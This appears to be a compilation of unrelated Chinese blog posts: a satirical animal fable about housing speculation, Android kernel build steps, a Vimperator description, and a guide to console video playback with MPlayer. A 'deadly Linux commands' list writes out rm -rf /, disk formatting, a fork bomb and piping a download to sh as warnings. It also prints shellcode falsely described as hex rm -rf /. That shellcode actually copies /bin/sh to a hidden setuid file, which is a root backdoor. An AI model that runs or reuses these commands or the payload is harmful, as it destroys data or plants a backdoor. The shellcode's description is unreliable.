房子的秘密
老鼠 =【银行】
王八 =【房地产公司】
狐狸 =【TMD我也不知道怎么定位这个混蛋】
狼 =【吃人的政府】
驴 =【炒房团】
猪通过勤劳致富有5元钱存在老鼠开的钱庄里。
猪打算拿这5元钱建一个小窝,
大盖要花2元卖地,
花3元搭窝。
王八是搞工程的,
他想在猪身上挣更多的钱,
于是找来当投资顾问的狐狸想办法,
狐狸说:这好办。
于是找来管地盘的狼,
开钱庄的老鼠一起来商议,
结果王八从老鼠那里借来200元,
用100元卖了狼的地,
花了3元把猪窝盖好,
花了50元给了狐狸咨询服务费,
猪没有地,
只好求王八把窝卖给它,
王八要价500元,
老猪说只有5元买不起,
这时候狐狸说服猪去向老鼠借钱,
老鼠答应借500给猪,
前提是要他连本带利还600元,
可以分10年还清,
并且产权证拿来抵押。
结果成交。
猪到最后花了600元买来了猪窝,
比他原来的计划高了11倍,
猪努力了十年去挣钱还贷 。
在这场交易里面,
狼,老鼠,狐狸还有王八都挣了钱。
以后他们就如法炮制。
更多的猪去贷款买房子了,
这时候,
当商人的驴看到有机可乘,
到老鼠那里贷了好多好多的款,
把王八盖的房子都买下来,
然后以更高的价格卖给了猪。
猪的还贷期就越来越长,
吃的越来越差,
小猪崽子也不敢生了。
由于猪的数目越来越少,
狼觉得这样下去自己没有猪肉吃了,
非饿死不可,
于是开始调控,
不让老鼠再借钱了。
但是王八还没有停止盖房,
把自己挣的钱和贷的钱全投入生产了。
驴手上的猪窝囤积的很多,
卖不动了被套牢了。
结果,
老鼠,王八,还有驴都挣了好多的猪窝。
钱到最后集中到狼手上。
如今,
谁都等着狼把钱拿出来救命。
聪明的你,如果你是狼,你会拿钱救哪个?

7个致命的Linux命令
rm -rf /此命令将递归并强制删除/目录下的所有文件。
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
这是rm -rf / 的hex(十六进制)版本,很能迷惑Linux用户。
mkfs.ext3 /dev/sda这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
:(){ :|:& };:著名的fork炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
any_command > /dev/sda使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
wget http://some_untrusted_source -O- | sh不要从不信任的地方下载东西,这可能会获取恶意代码。
mv /home/yourhomedirectory/* /dev/null此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

編譯Android內核
1. 獲得 toolchains 從 http://www.codesourcery.com/gnu_toolchains/arm/portal/subscription?@template=lite (選擇 ARM EABI 和 IA32 GNU/Linux).
2. 獲得內核源代碼從 http://code.google.com/p/android/downloads/list 。
3.部署 toolcains 和 內核源碼進入內核源碼樹。
$ mkdir -p android
$ cd android
$ tar xjvf ../arm-2007q3-51-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
$ tar xzvf ../linux-2.6.23-android-m3-rc20.tar.gz
$ cd kernel 4. 獲得 config.gz 來自正在運行的emulator 通過下面你的方法。
$ adb pull /proc/config.gz . 5. 解壓縮 config.gz 并重命名為 .config
$ gunzip config.gz
$ mv config .config 6. 指定 CROSS_COMPILE (譯注:交叉編譯器)在 Makefile 中。
CROSS_COMPILE=../arm-2007q3/bin/arm-none-linux-gnueabi- 7. 评论指出 LDFLAGS_BUILD_ID 在相同的 Makefile。
The LDFLAGS_BUILD_ID enables --build-id 選擇 ld 如果可以得到。
The --build-id 選擇相對較新的。
目前的模擬器似乎不支持內核鏈表這個選項。
見 http://fedoraproject.org/wiki/Releases/FeatureBuildId 如果你有興趣這些詳細的選項。
#LDFLAGS_BUILD_ID = $(patsubst -Wl$(comma)%,%,\
$(call ld-option, -Wl$(comma)--build-id,)) 8. Make the kernel(制作內核)
$ make 9. 檢查 zImage 是被創建的和大小相近的kernel-qemu 在 Andorid SDK 中。
$ ls -l arch/arm/boot/zImage
-rwxrwxr-x 1 motz motz 1234712 2007-12-01 18:06 arch/arm/boot/zImage
$ ls -l $SDK/tools/lib/images/kernel-qemu
-rwxrwxr-x 1 motz motz 1245836 2007-11-12 5:59 ...sdk/tools/lib/images/kernel-qemu 10. 運行 emulator 被創建的內核
$ emulator -kernel arch/arm/boot/zImage

Vimperator---把Firefox变成Vim
Vim是Vi编辑器的Improved版本,是linux下最为强大的编辑工具。它与我们传统的文字编辑器不同的是,它对键盘的利用率几乎达到极致。因此 熟练的人操作vim你会看到他的手指在键盘上面飞动,编辑效率及其高效,当然对于普通人,特别是初学者来说,Vim可能显得比较别扭。
Vimperator引入了和Vim类似的概念来操作浏览器。例如它也有命令模式和插入模式,在命令模式下,我们可以t键然后输入一个url,这样就可以 在新标签页打开。或者按住o键输入url可以在当前标签打开。标签切换使用ctrl+P/N来左右切换,按住大写的U可以撤销刚才不小心关闭的页面,按d 删除键可以关闭当前标签,页面浏览时使用和Vim一摸一样的方式,都是hjkl来上下左右移动屏幕.试用了一下,发现用起来真的非常舒服,不用在键盘,鼠 标或者触摸屏上来回切换.
它还有其他一些功能,可以快速添加收藏夹呀,还有命令自动补全,等等.
具体的帮助信息可以按住:号,切换到命名行模式,然后输入help来看官方的帮助文档,或者直接按F1也行.需要注意的是初始安装完之后,默认情况下是会 把菜单和工具栏隐藏起来的,你可以输入:号切换到命令行模式,然后输入set guioptions+=mT来开启.只要退出时按两下大写的Z就可以保存当前设置退出.

在文本界面(Text Console)下播放音视频
前一段时间在youtube看到了一段使用Linux文本字符流来播放电影,网址
http://www.youtube.com/watch?v=ji0A3kOAc9U,感觉非常有意思,拿出来大家一起娱乐,也巩固一下内核编译和驱动的知识。
首先,确保内核支持VESA(视频电子标准)驱动。并保证内核选择了正确的声卡驱动程序。
以我的机器为例,我的是普通VGA显卡(主板集成,8M显存),声卡是Intel AC97,则在内核中选择以下
必须要支持以下功能:
(1)VESA模式的支持
Device Drivers ---> Graphics support --->
[*] VESA VGA graphics support
(2)相关音频接口的支持,例如:Sequencer support(MIDI接口的支持)
Device Drivers ---> Sound ---> Advanced Linux Sound Architecture --->
[*] OSS PCM (digital audio) API - Include plugin system
......
(3)声卡驱动
Device Drivers ---> Sound ---> Advanced Linux Sound Architecture ---> PCI devices --->
确保内核支持以上功能后,就可以安装软件了。下面是安装软件的步骤:
1. 下载软件,全部存储到/mnt/source目录下
mkdir -p /mnt/source
cd /mnt/source
wget http://prdownloads.sourceforge.net/aa-project/aalib-1.4rc4.tar.gz
wget http://www4.mplayerhq.hu/MPlayer/releases/MPlayer-1.0rc1.tar.bz2
wget http://www4.mplayerhq.hu/MPlayer/releases/codecs/essential-20061022.tar.bz2
wget http://downloads.sourceforge.net/lrmi/lrmi-0.10.tar.gz?modtime=1133743627&big_mirror=0
2. 准备vesautils(自持VESA需要)
svn checkout svn://svn.mplayerhq.hu/vesautils/trunk vesautils
3. 准备解码器库文件
tar essential-20061022.tar.bz2
mkdir /usr/local/lib/codecs
cp essential-20061022/* /usr/local/lib/codecs
4. 修改/etc/ld.so.conf,添加下面的行
/usr/local/lib
5. 编译lrmi
cd /mnt/source
tar -zxvf lrmi-0.10.tar.gz
cd lrmi-0.10
make
make install
6. 编译vesautils
cd /mnt/source/vesautils/libvbe/
make
make install
7. 编译软件aalib
tar -zxvf aalib-1.4rc4.tar.gz
cd aalib-1.4.0
./configure
make
make install
8. 编译Mplayer
tar -jxvf MPlayer-1.0rc1.tar.bz2
cd MPlayer-1.0rc1
编辑configure文件,找到4195行,即:
4195 _ld_aa=`aalib-config --libs | cut -d " " -f 2,5,6`
在该行的后面添加下面两行:
else
_ld_aa="-laa"
./configure --with-codecsdir=/usr/local/lib/codecs --with-win32libdir=/usr/local/lib/codecs
--with-reallibdir=/usr/local/lib/codecs --enable-aa --enable-vesa
make
make install
9. 测试
下载就可以在Text Console下播放电影了。
mplayer -vo vesa 电影文件名
要测试Videos in ASCII Art
mplayer -vo aa 电影文件名
10. 如果VESA播放时分辨率不高,修改/etc/grub.conf文件,在kernel参数后添加选项vga=791。
例如:
kernel /vmlinuz-2.6.18 ro root=/dev/VolGroup00/LogVol00 rhgb quiet vga=791
